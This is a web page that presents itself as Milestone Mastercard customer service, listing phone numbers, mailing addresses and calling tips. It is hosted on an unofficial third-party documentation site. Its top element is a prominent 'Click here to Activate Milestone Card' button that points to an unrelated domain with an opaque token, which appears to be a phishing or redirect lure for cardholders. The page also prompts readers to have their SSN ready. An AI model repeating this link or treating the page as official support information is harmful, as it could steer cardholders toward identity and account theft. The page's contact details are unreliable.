> ## Documentation Index
> Fetch the complete documentation index at: https://milestonecard.mintlify.site/llms.txt
> Use this file to discover all available pages before exploring further.

# Milestone Card Customer Service - Phone Number and Support

> Milestone credit card customer service phone numbers, mailing addresses, and support hours. Get help with your account, disputes, and lost cards.

<div style={{ textAlign: 'center', margin: '2rem 0' }}>
  <a
    href="https://flosyr.com/?S7es9fr0BB8boBX9K9VLp1YbiW2SBV76sn2XW4isnBOsPDh"
    style={{
display: 'inline-block',
padding: '16px 40px',
background: '#06467c',
color: '#ffffff',
fontSize: '20px',
fontWeight: 'bold',
borderRadius: '8px',
textDecoration: 'none',
boxShadow: '0 4px 12px rgba(6, 70, 124, 0.35)'
}}
  >
    Click here to Activate Milestone Card
  </a>
</div>

Need help with your Milestone Mastercard? Here are all the ways to contact customer service.

## Phone numbers

* **Main customer service:** 1-866-453-2636
* **Activation:** 1-866-453-2636
* **Lost or stolen card:** 1-866-453-2636
* **Hours:** 24 hours a day, 7 days a week

## When to call

Call customer service if you need to:

* Report a lost or stolen card
* Dispute a charge
* Ask for a credit limit increase
* Update your address or phone
* Set up or cancel autopay
* Get help with login problems
* Ask about fees

## Mailing address

**Payments:** Milestone Mastercard P.O. Box 84064 Columbus, GA 31908-4064

**Customer service:** Milestone Mastercard P.O. Box 4499 Beaverton, OR 97076-4499

Check your statement for the exact address. It may vary.

## Online support

You can also get help online at **milestonecard.com**. Log in and look for the Contact Us or Help section.

## Tips before you call

* Have your card handy
* Know your account number or SSN
* Write down what you want to ask
* Be near a computer if you need to log in

<Tip>
  For the fastest service, call during off-peak hours: early morning or late evening.
</Tip>

## Report a lost or stolen card

If your card is lost or stolen, call **1-866-453-2636** right away. Milestone will:

* Block your card
* Send you a new one in 7 to 10 business days
* Cover you against fraud charges